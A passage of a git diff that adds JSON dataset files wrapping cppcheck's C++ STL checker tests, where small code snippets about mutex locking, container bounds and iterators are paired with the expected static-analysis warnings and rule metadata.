m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/erase.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/erase.json new file mode 100644 index 0000000..e197824 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/erase.json @@ -0,0 +1,27 @@ +{ + "name": "erase", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 17, + "branches": 8, + "apis": 22, + "test": [ + { + "description": null, + "expected-problems": 6, + "expected-linenumbers": [ + 2674, + 2716, + 2729, + 2739, + 2781, + 2795 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 